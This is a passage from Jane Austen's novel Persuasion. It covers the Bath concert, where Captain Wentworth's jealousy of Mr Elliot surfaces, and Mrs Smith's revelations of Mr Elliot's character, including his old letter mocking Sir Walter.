ground was a support to Anne; she knew nothing +of their looks, and felt equal to everything which she believed +right to be done. + +While they were speaking, a whispering between her father and Elizabeth +caught her ear. She could not distinguish, but she must guess the subject; +and on Captain Wentworth's making a distant bow, she comprehended +that her father had judged so well as to give him that +simple acknowledgement of acquaintance, and she was just in time +by a side glance to see a slight curtsey from Elizabeth herself. +This, though late, and reluctant, and ungracious, was yet +better than nothing, and her spirits improved. + +After talking, however, of the weather, and Bath, and the concert, +their conversation began to flag, and so little was said at last, +that she was expecting him to go every moment, but he did not; +he seemed in no hurry to leave her; and presently with renewed spirit, +with a little smile, a little glow, he said-- + +"I have hardly seen you since our day at Lyme. I am afraid you must have +suffered from the shock, and the more from its not overpowering you +at the time." + +She assured him that she had not. + +"It was a frightful hour," said he, "a frightful day!" and he +passed his hand across his eyes, as if the remembrance were still +too painful, but in a moment, half smiling again, added, +"The day has produced some effects however; has had some consequences +which must be considered as the very reverse of frightful. +When you had the presence of mind to suggest that Benwick would be +the properest person to fetch a surgeon, you could have little idea +of his being eventually one of those most concerned in her recovery." + +"Certainly I could have none. But it appears--I should hope it would be +a very happy match. There are on both sides good principles +and good temper." + +"Yes," said he, looking not exactly forward; "but there, I think, +ends the resemblance. With all my soul I wish them happy, and rejoice +over every circumstance in favour of it. They have no difficulties +to contend with at home, no opposition, no caprice, no delays. +The Musgroves are behaving like themselves, most honourably and kindly, +only anxious with true parental hearts to promote their daughter's comfort. +All this is much, very much in favour of their happiness; +more than perhaps--" + +He stopped. A sudden recollection seemed to occur, and to give him +some taste of that emotion which was reddening Anne's cheeks +and fixing her eyes on the ground. After clearing his throat, however, +he proceeded thus-- + +"I confess that I do think there is a disparity, too great a disparity, +and in a point no less essential than mind. I regard Louisa Musgrove +as a very amiable, sweet-tempered girl, and not deficient in understanding, +but Benwick is something more. He is a clever man, a reading man; +and I confess, that I do consider his attaching himself to her +with some surprise. Had it been the effect of gratitude, +had he learnt to love her, because he believed her to be preferring him, +it would have been another thing. But I have no reason to suppose it so. +It seems, on the contrary, to have been a perfectly spontaneous, +untaught feeling on his side, and this surprises me. A man like him, +in his situation! with a heart pierced, wounded, almost broken! +Fanny Harville was a very superior creature, and his attachment to her +was indeed attachment. A man does not recover from such +a devotion of the heart to such a woman. He ought not; he does not." + +Either from the consciousness, however, that his friend had recovered, +or from other consciousness, he went no farther; and Anne who, +in spite of the agitated voice in which the latter part had been uttered, +and in spite of all the various noises of the room, the almost ceaseless +slam of the door, and ceaseless buzz of persons walking through, +had distinguished every word, was struck, gratified, confused, +and beginning to breathe very quick, and feel an hundred things +in a moment. It was impossible for her to enter on such a subject; +and yet, after a pause, feeling the necessity of speaking, +and having not the smallest wish for a total change, she only deviated +so far as to say-- + +"You were a good while at Lyme, I think?" + +"About a fortnight. I could not leave it till Louisa's doing well +was quite ascertained. I had been too deeply concerned in the mischief +to be soon at peace. It had been my doing, solely mine. +She would not have been obstinate if I had not been weak. +The country round Lyme is very fine. I walked and rode a great deal; +and the more I saw, the more I found to admire." + +"I should very much like to see Lyme again," said Anne. + +"Indeed! I should not have supposed that you could have found +anything in Lyme to inspire such a feeling. The horror and distress +you were involved in, the stretch of mind, the wear of spirits! +I should have thought your last impressions of Lyme must have been +strong disgust." + +"The last hours were certainly very painful," replied Anne; +"but when pain is over, the remembrance of it often becomes a pleasure. +One does not love a place the less for having suffered in it, +unless it has been all suffering, nothing but suffering, which was +by no means the case at Lyme. We were only in anxiety and distress +during the last two hours, and previously there had been a great deal +of enjoyment. So much novelty and beauty! I have travelled so little, +that every fresh place would be interesting to me; but there is real beauty +at Lyme; and in short" (with a faint blush at some recollections), +"altogether my impressions of the place are very agreeable." + +As she ceased, the entrance door opened again, and the very party appeared +for whom they were waiting. "Lady Dalrymple, Lady Dalrymple," +was the rejoicing sound; and with all the eagerness compatible +with anxious elegance, Sir Walter and his two ladies stepped forward +to meet her. Lady Dalrymple and Miss Carteret, escorted by Mr Elliot +and Colonel Wallis, who had happened to arrive nearly at the same instant, +advanced into the room. The others joined them, and it was +a group in which Anne found herself also necessarily included. +She was divided from Captain Wentworth. Their interesting, +almost too interesting conversation must be broken up for a time, +but slight was the penance compared with the happiness which brought it on! +She had learnt, in the last ten minutes, more of his feelings +towards Louisa, more of all his feelings than she dared to think of; +and she gave herself up to the demands of the party, to the needful +civilities of the moment, with exquisite, though agitated sensations. +She was in good humour with all. She had received ideas which +disposed her to be courteous and kind to all, and to pity every one, +as being less happy than herself. + +The delightful emotions were a little subdued, when on stepping back +from the group, to be joined again by Captain Wentworth, she saw +that he was gone. She was just in time to see him turn into +the Concert Room. He was gone; he had disappeared, she felt +a moment's regret. But "they should meet again. He would look for her, +he would find her out before the evening were over, and at present, +perhaps, it was as well to be asunder. She was in need of +a little interval for recollection." + +Upon Lady Russell's appearance soon afterwards, the whole party +was collected, and all that remained was to marshal themselves, +and proceed into the Concert Room; and be of all the consequence +in their power, draw as many eyes, excite as many whispers, +and disturb as many people as they could. + +Very, very happy were both Elizabeth and Anne Elliot as they walked in. +Elizabeth arm in arm with Miss Carteret, and looking on the broad back +of the dowager Viscountess Dalrymple before her, had nothing to wish for +which did not seem within her reach; and Anne--but it would be +an insult to the nature of Anne's felicity, to draw any comparison +between it and her sister's; the origin of one all selfish vanity, +of the other all generous attachment. + +Anne saw nothing, thought nothing of the brilliancy of the room. +Her happiness was from within. Her eyes were bright and her cheeks glowed; +but she knew nothing about it. She was thinking only of +the last half hour, and as they passed to their seats, her mind took +a hasty range over it. His choice of subjects, his expressions, +and still more his manner and look, had been such as she could see +in only one light. His opinion of Louisa Musgrove's inferiority, +an opinion which he had seemed solicitous to give, his wonder +at Captain Benwick, his feelings as to a first, strong attachment; +sentences begun which he could not finish, his half averted eyes +and more than half expressive glance, all, all declared that he had +a heart returning to her at least; that anger, resentment, avoidance, +were no more; and that they were succeeded, not merely by friendship +and regard, but by the tenderness of the past. Yes, some share of +the tenderness of the past. She could not contemplate the change +as implying less. He must love her. + +These were thoughts, with their attendant visions, which occupied +and flurried her too much to leave her any power of observation; +and she passed along the room without having a glimpse of him, +without even trying to discern him. When their places were determined on, +and they were all properly arranged, she looked round to see +if he should happen to be in the same part of the room, but he was not; +her eye could not reach him; and the concert being just opening, +she must consent for a time to be happy in a humbler way. + +The party was divided and disposed of on two contiguous benches: +Anne was among those on the foremost, and Mr Elliot had manoeuvred so well, +with the assistance of his friend Colonel Wallis, as to have a seat by her. +Miss Elliot, surrounded by her cousins, and the principal object +of Colonel Wallis's gallantry, was quite contented. + +Anne's mind was in a most favourable state for the entertainment +of the evening; it was just occupation enough: she had feelings for +the tender, spirits for the gay, attention for the scientific, +and patience for the wearisome; and had never liked a concert better, +at least during the first act. Towards the close of it, +in the interval succeeding an Italian song, she explained +the words of the song to Mr Elliot. They had a concert bill between them. + +"This," said she, "is nearly the sense, or rather the meaning of the words, +for certainly the sense of an Italian love-song must not be talked of, +but it is as nearly the meaning as I can give; for I do not pretend +to understand the language. I am a very poor Italian scholar." + +"Yes, yes, I see you are. I see you know nothing of the matter. +You have only knowledge enough of the language to translate at sight +these inverted, transposed, curtailed Italian lines, into clear, +comprehensible, elegant English. You need not say anything more +of your ignorance. Here is complete proof." + +"I will not oppose such kind politeness; but I should be sorry to be +examined by a real proficient." + +"I have not had the pleasure of visiting in Camden Place so long," +replied he, "without knowing something of Miss Anne Elliot; +and I do regard her as one who is too modest for the world in general +to be aware of half her accomplishments, and too highly accomplished +for modesty to be natural in any other woman." + +"For shame! for shame! this is too much flattery. I forget what we are +to have next," turning to the bill. + +"Perhaps," said Mr Elliot, speaking low, "I have had a longer acquaintance +with your character than you are aware of." + +"Indeed! How so? You can have been acquainted with it only since +I came to Bath, excepting as you might hear me previously spoken of +in my own family." + +"I knew you by report long before you came to Bath. I had heard you +described by those who knew you intimately. I have been acquainted +with you by character many years. Your person, your disposition, +accomplishments, manner; they were all present to me." + +Mr Elliot was not disappointed in the interest he hoped to raise. +No one can withstand the charm of such a mystery. To have been +described long ago to a recent acquaintance, by nameless people, +is irresistible; and Anne was all curiosity. She wondered, +and questioned him eagerly; but in vain. He delighted in being asked, +but he would not tell. + +"No, no, some time or other, perhaps, but not now. He would mention +no names now; but such, he could assure her, had been the fact. +He had many years ago received such a description of Miss Anne Elliot +as had inspired him with the highest idea of her merit, and excited +the warmest curiosity to know her." + +Anne could think of no one so likely to have spoken with +partiality of her many years ago as the Mr Wentworth of Monkford, +Captain Wentworth's brother. He might have been in Mr Elliot's company, +but she had not courage to ask the question. + +"The name of Anne Elliot," said he, "has long had an interesting sound to me. +Very long has it possessed a charm over my fancy; and, if I dared, +I would breathe my wishes that the name might never change." + +Such, she believed, were his words; but scarcely had she +received their sound, than her attention was caught by other sounds +immediately behind her, which rendered every thing else trivial. +Her father and Lady Dalrymple were speaking. + +"A well-looking man," said Sir Walter, "a very well-looking man." + +"A very fine young man indeed!" said Lady Dalrymple. "More air +than one often sees in Bath. Irish, I dare say." + +"No, I just know his name. A bowing acquaintance. Wentworth; +Captain Wentworth of the navy. His sister married my tenant +in Somersetshire, the Croft, who rents Kellynch." + +Before Sir Walter had reached this point, Anne's eyes had caught +the right direction, and distinguished Captain Wentworth standing +among a cluster of men at a little distance. As her eyes fell on him, +his seemed to be withdrawn from her. It had that appearance. +It seemed as if she had been one moment too late; and as long as she +dared observe, he did not look again: but the performance +was recommencing, and she was forced to seem to restore her attention +to the orchestra and look straight forward. + +When she could give another glance, he had moved away. He could not have +come nearer to her if he would; she was so surrounded and shut in: +but she would rather have caught his eye. + +Mr Elliot's speech, too, distressed her. She had no longer +any inclination to talk to him. She wished him not so near her. + +The first act was over. Now she hoped for some beneficial change; +and, after a period of nothing-saying amongst the party, some of them +did decide on going in quest of tea. Anne was one of the few who +did not choose to move. She remained in her seat, and so did Lady Russell; +but she had the pleasure of getting rid of Mr Elliot; and she did not mean, +whatever she might feel on Lady Russell's account, to shrink from +conversation with Captain Wentworth, if he gave her the opportunity. +She was persuaded by Lady Russell's countenance that she had seen him. + +He did not come however. Anne sometimes fancied she discerned him +at a distance, but he never came. The anxious interval +wore away unproductively. The others returned, the room filled again, +benches were reclaimed and repossessed, and another hour of pleasure +or of penance was to be sat out, another hour of music was to give +delight or the gapes, as real or affected taste for it prevailed. +To Anne, it chiefly wore the prospect of an hour of agitation. +She could not quit that room in peace without seeing Captain Wentworth +once more, without the interchange of one friendly look. + +In re-settling themselves there were now many changes, the result of which +was favourable for her. Colonel Wallis declined sitting down again, +and Mr Elliot was invited by Elizabeth and Miss Carteret, in a manner +not to be refused, to sit between them; and by some other removals, +and a little scheming of her own, Anne was enabled to place herself +much nearer the end of the bench than she had been before, +much more within reach of a passer-by. She could not do so, +without comparing herself with Miss Larolles, the inimitable Miss Larolles; +but still she did it, and not with much happier effect; +though by what seemed prosperity in the shape of an early abdication +in her next neighbours, she found herself at the very end of the bench +before the concert closed. + +Such was her situation, with a vacant space at hand, when Captain Wentworth +was again in sight. She saw him not far off. He saw her too; +yet he looked grave, and seemed irresolute, and only by very slow degrees +came at last near enough to speak to her. She felt that something +must be the matter. The change was indubitable. The difference +between his present air and what it had been in the Octagon Room +was strikingly great. Why was it? She thought of her father, +of Lady Russell. Could there have been any unpleasant glances? +He began by speaking of the concert gravely, more like the Captain +Wentworth of Uppercross; owned himself disappointed, had expected singing; +and in short, must confess that he should not be sorry when it was over. +Anne replied, and spoke in defence of the performance so well, +and yet in allowance for his feelings so pleasantly, that his countenance +improved, and he replied again with almost a smile. They talked +for a few minutes more; the improvement held; he even looked down +towards the bench, as if he saw a place on it well worth occupying; +when at that moment a touch on her shoulder obliged Anne to turn round. +It came from Mr Elliot. He begged her pardon, but she must be applied to, +to explain Italian again. Miss Carteret was very anxious to have +a general idea of what was next to be sung. Anne could not refuse; +but never had she sacrificed to politeness with a more suffering spirit. + +A few minutes, though as few as possible, were inevitably consumed; +and when her own mistress again, when able to turn and look +as she had done before, she found herself accosted by Captain Wentworth, +in a reserved yet hurried sort of farewell. "He must wish her good night; +he was going; he should get home as fast as he could." + +"Is not this song worth staying for?" said Anne, suddenly struck +by an idea which made her yet more anxious to be encouraging. + +"No!" he replied impressively, "there is nothing worth my staying for;" +and he was gone directly. + +Jealousy of Mr Elliot! It was the only intelligible motive. +Captain Wentworth jealous of her affection! Could she have believed it +a week ago; three hours ago! For a moment the gratification was exquisite. +But, alas! there were very different thoughts to succeed. +How was such jealousy to be quieted? How was the truth to reach him? +How, in all the peculiar disadvantages of their respective situations, +would he ever learn of her real sentiments? It was misery to think +of Mr Elliot's attentions. Their evil was incalculable. + + + +Chapter 21 + + +Anne recollected with pleasure the next morning her promise +of going to Mrs Smith, meaning that it should engage her from home +at the time when Mr Elliot would be most likely to call; for to avoid +Mr Elliot was almost a first object. + +She felt a great deal of good-will towards him. In spite of +the mischief of his attentions, she owed him gratitude and regard, +perhaps compassion. She could not help thinking much of the extraordinary +circumstances attending their acquaintance, of the right which +he seemed to have to interest her, by everything in situation, +by his own sentiments, by his early prepossession. It was altogether +very extraordinary; flattering, but painful. There was much to regret. +How she might have felt had there been no Captain Wentworth in the case, +was not worth enquiry; for there was a Captain Wentworth; +and be the conclusion of the present suspense good or bad, +her affection would be his for ever. Their union, she believed, +could not divide her more from other men, than their final separation. + +Prettier musings of high-wrought love and eternal constancy, +could never have passed along the streets of Bath, than Anne +was sporting with from Camden Place to Westgate Buildings. +It was almost enough to spread purification and perfume all the way. + +She was sure of a pleasant reception; and her friend seemed this morning +particularly obliged to her for coming, seemed hardly to have expected her, +though it had been an appointment. + +An account of the concert was immediately claimed; and Anne's recollections +of the concert were quite happy enough to animate her features +and make her rejoice to talk of it. All that she could tell +she told most gladly, but the all was little for one who had been there, +and unsatisfactory for such an enquirer as Mrs Smith, who had +already heard, through the short cut of a laundress and a waiter, +rather more of the general success and produce of the evening +than Anne could relate, and who now asked in vain for several particulars +of the company. Everybody of any consequence or notoriety in Bath +was well know by name to Mrs Smith. + +"The little Durands were there, I conclude," said she, "with their mouths +open to catch the music, like unfledged sparrows ready to be fed. +They never miss a concert." + +"Yes; I did not see them myself, but I heard Mr Elliot say they were +in the room." + +"The Ibbotsons, were they there? and the two new beauties, +with the tall Irish officer, who is talked of for one of them." + +"I do not know. I do not think they were." + +"Old Lady Mary Maclean? I need not ask after her. She never misses, +I know; and you must have seen her. She must have been in your own circle; +for as you went with Lady Dalrymple, you were in the seats of grandeur, +round the orchestra, of course." + +"No, that was what I dreaded. It would have been very unpleasant to me +in every respect. But happily Lady Dalrymple always chooses +to be farther off; and we were exceedingly well placed, that is, +for hearing; I must not say for seeing, because I appear to have seen +very little." + +"Oh! you saw enough for your own amusement. I can understand. +There is a sort of domestic enjoyment to be known even in a crowd, +and this you had. You were a large party in yourselves, +and you wanted nothing beyond." + +"But I ought to have looked about me more," said Anne, conscious +while she spoke that there had in fact been no want of looking about, +that the object only had been deficient. + +"No, no; you were better employed. You need not tell me that you +had a pleasant evening. I see it in your eye. I perfectly see +how the hours passed: that you had always something agreeable +to listen to. In the intervals of the concert it was conversation." + +Anne half smiled and said, "Do you see that in my eye?" + +"Yes, I do. Your countenance perfectly informs me that you were +in company last night with the person whom you think the most agreeable +in the world, the person who interests you at this present time +more than all the rest of the world put together." + +A blush overspread Anne's cheeks. She could say nothing. + +"And such being the case," continued Mrs Smith, after a short pause, +"I hope you believe that I do know how to value your kindness +in coming to me this morning. It is really very good of you +to come and sit with me, when you must have so many pleasanter demands +upon your time." + +Anne heard nothing of this. She was still in the astonishment and +confusion excited by her friend's penetration, unable to imagine +how any report of Captain Wentworth could have reached her. +After another short silence-- + +"Pray," said Mrs Smith, "is Mr Elliot aware of your acquaintance with me? +Does he know that I am in Bath?" + +"Mr Elliot!" repeated Anne, looking up surprised. A moment's reflection +shewed her the mistake she had been under. She caught it instantaneously; +and recovering her courage with the feeling of safety, soon added, +more composedly, "Are you acquainted with Mr Elliot?" + +"I have been a good deal acquainted with him," replied Mrs Smith, gravely, +"but it seems worn out now. It is a great while since we met." + +"I was not at all aware of this. You never mentioned it before. +Had I known it, I would have had the pleasure of talking to him about you." + +"To confess the truth," said Mrs Smith, assuming her usual +air of cheerfulness, "that is exactly the pleasure I want you to have. +I want you to talk about me to Mr Elliot. I want your interest with him. +He can be of essential service to me; and if you would have the goodness, +my dear Miss Elliot, to make it an object to yourself, +of course it is done." + +"I should be extremely happy; I hope you cannot doubt my willingness +to be of even the slightest use to you," replied Anne; "but I suspect +that you are considering me as having a higher claim on Mr Elliot, +a greater right to influence him, than is really the case. +I am sure you have, somehow or other, imbibed such a notion. +You must consider me only as Mr Elliot's relation. If in that light +there is anything which you suppose his cousin might fairly ask of him, +I beg you would not hesitate to employ me." + +Mrs Smith gave her a penetrating glance, and then, smiling, said-- + +"I have been a little premature, I perceive; I beg your pardon. +I ought to have waited for official information, But now, my dear +Miss Elliot, as an old friend, do give me a hint as to when I may speak. +Next week? To be sure by next week I may be allowed to +think it all settled, and build my own selfish schemes on +Mr Elliot's good fortune." + +"No," replied Anne, "nor next week, nor next, nor next. +I assure you that nothing of the sort you are thinking of +will be settled any week. I am not going to marry Mr Elliot. +I should like to know why you imagine I am?" + +Mrs Smith looked at her again, looked earnestly, smiled, +shook her head, and exclaimed-- + +"Now, how I do wish I understood you! How I do wish I knew +what you were at! I have a great idea that you do not design to be cruel, +when the right moment occurs. Till it does come, you know, +we women never mean to have anybody. It is a thing of course among us, +that every man is refused, till he offers. But why should you be cruel? +Let me plead for my--present friend I cannot call him, but for +my former friend. Where can you look for a more suitable match? +Where could you expect a more gentlemanlike, agreeable man? +Let me recommend Mr Elliot. I am sure you hear nothing but good of him +from Colonel Wallis; and who can know him better than Colonel Wallis?" + +"My dear Mrs Smith, Mr Elliot's wife has not been dead much above +half a year. He ought not to be supposed to be paying his addresses +to any one." + +"Oh! if these are your only objections," cried Mrs Smith, archly, +"Mr Elliot is safe, and I shall give myself no more trouble about him. +Do not forget me when you are married, that's all. Let him know me to be +a friend of yours, and then he will think little of the trouble required, +which it is very natural for him now, with so many affairs and engagements +of his own, to avoid and get rid of as he can; very natural, perhaps. +Ninety-nine out of a hundred would do the same. Of course, +he cannot be aware of the importance to me. Well, my dear Miss Elliot, +I hope and trust you will be very happy. Mr Elliot has sense +to understand the value of such a woman. Your peace will not be +shipwrecked as mine has been. You are safe in all worldly matters, +and safe in his character. He will not be led astray; he will not be +misled by others to his ruin." + +"No," said Anne, "I can readily believe all that of my cousin. +He seems to have a calm decided temper, not at all open +to dangerous impressions. I consider him with great respect. +I have no reason, from any thing that has fallen within my observation, +to do otherwise. But I have not known him long; and he is not a man, +I think, to be known intimately soon. Will not this manner +of speaking of him, Mrs Smith, convince you that he is nothing to me? +Surely this must be calm enough. And, upon my word, he is nothing to me. +Should he ever propose to me (which I have very little reason to imagine +he has any thought of doing), I shall not accept him. I assure you +I shall not. I assure you, Mr Elliot had not the share which +you have been supposing, in whatever pleasure the concert +of last night might afford: not Mr Elliot; it is not Mr Elliot that--" + +She stopped, regretting with a deep blush that she had implied so much; +but less would hardly have been sufficient. Mrs Smith would hardly +have believed so soon in Mr Elliot's failure, but from the perception +of there being a somebody else. As it was, she instantly submitted, +and with all the semblance of seeing nothing beyond; and Anne, +eager to escape farther notice, was impatient to know why Mrs Smith +should have fancied she was to marry Mr Elliot; where she could have +received the idea, or from whom she could have heard it. + +"Do tell me how it first came into your head." + +"It first came into my head," replied Mrs Smith, "upon finding how much +you were together, and feeling it to be the most probable thing +in the world to be wished for by everybody belonging to either of you; +and you may depend upon it that all your acquaintance have disposed of you +in the same way. But I never heard it spoken of till two days ago." + +"And has it indeed been spoken of?" + +"Did you observe the woman who opened the door to you when +you called yesterday?" + +"No. Was not it Mrs Speed, as usual, or the maid? I observed +no one in particular." + +"It was my friend Mrs Rooke; Nurse Rooke; who, by-the-bye, +had a great curiosity to see you, and was delighted to be in the way +to let you in. She came away from Marlborough Buildings only on Sunday; +and she it was who told me you were to marry Mr Elliot. +She had had it from Mrs Wallis herself, which did not seem bad authority. +She sat an hour with me on Monday evening, and gave me the whole history." +"The whole history," repeated Anne, laughing. "She could not make +a very long history, I think, of one such little article +of unfounded news." + +Mrs Smith said nothing. + +"But," continued Anne, presently, "though there is no truth in my having +this claim on Mr Elliot, I should be extremely happy to be of use to you +in any way that I could. Shall I mention to him your being in Bath? +Shall I take any message?" + +"No, I thank you: no, certainly not. In the warmth of the moment, +and under a mistaken impression, I might, perhaps, have endeavoured +to interest you in some circumstances; but not now. No, I thank you, +I have nothing to trouble you with." + +"I think you spoke of having known Mr Elliot many years?" + +"I did." + +"Not before he was married, I suppose?" + +"Yes; he was not married when I knew him first." + +"And--were you much acquainted?" + +"Intimately." + +"Indeed! Then do tell me what he was at that time of life. +I have a great curiosity to know what Mr Elliot was as a very young man. +Was he at all such as he appears now?" + +"I have not seen Mr Elliot these three years," was Mrs Smith's answer, +given so gravely that it was impossible to pursue the subject farther; +and Anne felt that she had gained nothing but an increase of curiosity. +They were both silent: Mrs Smith very thoughtful. At last-- + +"I beg your pardon, my dear Miss Elliot," she cried, in her +natural tone of cordiality, "I beg your pardon for the short answers +I have been giving you, but I have been uncertain what I ought to do. +I have been doubting and considering as to what I ought to tell you. +There were many things to be taken into the account. One hates +to be officious, to be giving bad impressions, making mischief. +Even the smooth surface of family-union seems worth preserving, +though there may be nothing durable beneath. However, I have determined; +I think I am right; I think you ought to be made acquainted +with Mr Elliot's real character. Though I fully believe that, +at present, you have not the smallest intention of accepting him, +there is no saying what may happen. You might, some time or other, +be differently affected towards him. Hear the truth, therefore, +now, while you are unprejudiced. Mr Elliot is a man without heart +or conscience; a designing, wary, cold-blooded being, who thinks +only of himself; whom for his own interest or ease, would be guilty +of any cruelty, or any treachery, that could be perpetrated without +risk of his general character. He has no feeling for others. +Those whom he has been the chief cause of leading into ruin, +he can neglect and desert without the smallest compunction. +He is totally beyond the reach of any sentiment of justice or compassion. +Oh! he is black at heart, hollow and black!" + +Anne's astonished air, and exclamation of wonder, made her pause, +and in a calmer manner, she added, + +"My expressions startle you. You must allow for an injured, angry woman. +But I will try to command myself. I will not abuse him. +I will only tell you what I have found him. Facts shall speak. +He was the intimate friend of my dear husband, who trusted and loved him, +and thought him as good as himself. The intimacy had been formed +before our marriage. I found them most intimate friends; and I, too, +became excessively pleased with Mr Elliot, and entertained +the highest opinion of him. At nineteen, you know, one does not +think very seriously; but Mr Elliot appeared to me quite as good as others, +and much more agreeable than most others, and we were almost +always together. We were principally in town, living in very good style. +He was then the inferior in circumstances; he was then the poor one; +he had chambers in the Temple, and it was as much as he could do +to support the appearance of a gentleman. He had always a home +with us whenever he chose it; he was always welcome; he was like a brother. +My poor Charles, who had the finest, most generous spirit in the world, +would have divided his last farthing with him; and I know that his purse +was open to him; I know that he often assisted him." + +"This must have been about that very period of Mr Elliot's life," +said Anne, "which has always excited my particular curiosity. +It must have been about the same time that he became known to +my father and sister. I never knew him myself; I only heard of him; +but there was a something in his conduct then, with regard to +my father and sister, and afterwards in the circumstances of his marriage, +which I never could quite reconcile with present times. It seemed +to announce a different sort of man." + +"I know it all, I know it all," cried Mrs Smith. "He had been +introduced to Sir Walter and your sister before I was acquainted with him, +but I heard him speak of them for ever. I know he was invited +and encouraged, and I know he did not choose to go. I can satisfy you, +perhaps, on points which you would little expect; and as to his marriage, +I knew all about it at the time. I was privy to all the fors and againsts; +I was the friend to whom he confided his hopes and plans; and though +I did not know his wife previously, her inferior situation in society, +indeed, rendered that impossible, yet I knew her all her life afterwards, +or at least till within the last two years of her life, and can answer +any question you may wish to put." + +"Nay," said Anne, "I have no particular enquiry to make about her. +I have always understood they were not a happy couple. But I should +like to know why, at that time of his life, he should slight +my father's acquaintance as he did. My father was certainly disposed +to take very kind and proper notice of him. Why did Mr Elliot draw back?" + +"Mr Elliot," replied Mrs Smith, "at that period of his life, +had one object in view: to make his fortune, and by a rather quicker +process than the law. He was determined to make it by marriage. +He was determined, at least, not to mar it by an imprudent marriage; +and I know it was his belief (whether justly or not, of course +I cannot decide), that your father and sister, in their civilities +and invitations, were designing a match between the heir +and the young lady, and it was impossible that such a match +should have answered his ideas of wealth and independence. +That was his motive for drawing back, I can assure you. +He told me the whole story. He had no concealments with me. +It was curious, that having just left you behind me in Bath, +my first and principal acquaintance on marrying should be your cousin; +and that, through him, I should be continually hearing of your father +and sister. He described one Miss Elliot, and I thought +very affectionately of the other." + +"Perhaps," cried Anne, struck by a sudden idea, "you sometimes +spoke of me to Mr Elliot?" + +"To be sure I did; very often. I used to boast of my own Anne Elliot, +and vouch for your being a very different creature from--" + +She checked herself just in time. + +"This accounts for something which Mr Elliot said last night," +cried Anne. "This explains it. I found he had been used to hear of me. +I could not comprehend how. What wild imaginations one forms where +dear self is concerned! How sure to be mistaken! But I beg your pardon; +I have interrupted you. Mr Elliot married then completely for money? +The circumstances, probably, which first opened your eyes +to his character." + +Mrs Smith hesitated a little here. "Oh! those things are too common. +When one lives in the world, a man or woman's marrying for money +is too common to strike one as it ought. I was very young, +and associated only with the young, and we were a thoughtless, +gay set, without any strict rules of conduct. We lived for enjoyment. +I think differently now; time and sickness and sorrow have given me +other notions; but at that period I must own I saw nothing reprehensible +in what Mr Elliot was doing. `To do the best for himself,' +passed as a duty." + +"But was not she a very low woman?" + +"Yes; which I objected to, but he would not regard. Money, money, +was all that he wanted. Her father was a grazier, her grandfather +had been a butcher, but that was all nothing. She was a fine woman, +had had a decent education, was brought forward by some cousins, +thrown by chance into Mr Elliot's company, and fell in love with him; +and not a difficulty or a scruple was there on his side, +with respect to her birth. All his caution was spent in being secured +of the real amount of her fortune, before he committed himself. +Depend upon it, whatever esteem Mr Elliot may have for his own situation +in life now, as a young man he had not the smallest value for it. +His chance for the Kellynch estate was something, but all the honour +of the family he held as cheap as dirt. I have often heard him declare, +that if baronetcies were saleable, anybody should have his +for fifty pounds, arms and motto, name and livery included; +but I will not pretend to repeat half that I used to hear him say +on that subject. It would not be fair; and yet you ought to have proof, +for what is all this but assertion, and you shall have proof." + +"Indeed, my dear Mrs Smith, I want none," cried Anne. "You have asserted +nothing contradictory to what Mr Elliot appeared to be some years ago. +This is all in confirmation, rather, of what we used to hear and believe. +I am more curious to know why he should be so different now." + +"But for my satisfaction, if you will have the goodness to ring for Mary; +stay: I am sure you will have the still greater goodness of +going yourself into my bedroom, and bringing me the small inlaid box +which you will find on the upper shelf of the closet." + +Anne, seeing her friend to be earnestly bent on it, did as she was desired. +The box was brought and placed before her, and Mrs Smith, sighing over it +as she unlocked it, said-- + +"This is full of papers belonging to him, to my husband; +a small portion only of what I had to look over when I lost him. +The letter I am looking for was one written by Mr Elliot to him +before our marriage, and happened to be saved; why, one can hardly imagine. +But he was careless and immethodical, like other men, about those things; +and when I came to examine his papers, I found it with others +still more trivial, from different people scattered here and there, +while many letters and memorandums of real importance had been destroyed. +Here it is; I would not burn it, because being even then very little +satisfied with Mr Elliot, I was determined to preserve every document +of former intimacy. I have now another motive for being glad +that I can produce it." + +This was the letter, directed to "Charles Smith, Esq. Tunbridge Wells," +and dated from London, as far back as July, 1803: -- + +"Dear Smith,--I have received yours. Your kindness almost overpowers me. +I wish nature had made such hearts as yours more common, but I have +lived three-and-twenty years in the world, and have seen none like it. +At present, believe me, I have no need of your services, +being in cash again. Give me joy: I have got rid of Sir Walter and Miss. +They are gone back to Kellynch, and almost made me swear to visit them +this summer; but my first visit to Kellynch will be with a surveyor, +to tell me how to bring it with best advantage to the hammer. +The baronet, nevertheless, is not unlikely to marry again; +he is quite fool enough. If he does, however, they will leave me in peace, +which may be a decent equivalent for the reversion. He is worse +than last year. + +"I wish I had any name but Elliot. I am sick of it. The name of Walter +I can drop, thank God! and I desire you will never insult me +with my second W. again, meaning, for the rest of my life, +to be only yours truly,--Wm. Elliot." + +Such a letter could not be read without putting Anne in a glow; +and Mrs Smith, observing the high colour in her face, said-- + +"The language, I know, is highly disrespectful. Though I have forgot +the exact terms, I have a perfect impression of the general meaning. +But it shows you the man. Mark his professions to my poor husband. +Can any thing be stronger?" + +Anne could not immediately get over the shock and mortification +of finding such words applied to her father. She was obliged to recollect +that her seeing the letter was a violation of the laws of honour, +that no one ought to be judged or to be known by such testimonies, +that no private correspondence could bear the eye of others, +before she could recover calmness enough to return the letter +which she had been meditating over, and say-- + +"Thank you. This is full proof undoubtedly; proof of every thing +you were saying. But why be acquainted with us now?" + +"I can explain this too," cried Mrs Smith, smiling. + +"Can you really?" + +"Yes. I have shewn you Mr Elliot as he was a dozen years ago, +and I will shew him as he is now. I cannot produce written proof again, +but I can give as authentic oral testimony as you can desire, of what +he is now wanting, and what he is now doing. He is no hypocrite now. +He truly wants to marry you. His present attentions to your family +are very sincere: quite from the heart. I will give you my authority: +his friend Colonel Wallis." + +"Colonel Wallis! you are acquainted with him?" + +"No. It does not come to me in quite so direct a line as that; +it takes a bend or two, but nothing of consequence. The stream +is as good as at first; the little rubbish it collects in the turnings +is easily moved away. Mr Elliot talks unreservedly to Colonel Wallis +of his views on you, which said Colonel Wallis, I imagine to be, +in himself, a sensible, careful, discerning sort of character; +but Colonel Wallis has a very pretty silly wife, to whom +he tells things which he had better not, and he repeats it all to her. +She in the overflowing spirits of her recovery, repeats it all +to her nurse; and the nurse knowing my acquaintance with you, +very naturally brings it all to me. On Monday evening, my good friend +Mrs Rooke let me thus much into the secrets of Marlborough Buildings. +When I talked of a whole history, therefore, you see I was +not romancing so much as you supposed." + +"My dear Mrs Smith, your authority is deficient. This will not do. +Mr Elliot's having any views on me will not in the least account +for the efforts he made towards a reconciliation with my father. +That was all prior to my coming to Bath. I found them on +the most friendly terms when I arrived." + +"I know you did; I know it all perfectly, but--" + +"Indeed, Mrs Smith, we must not expect to get 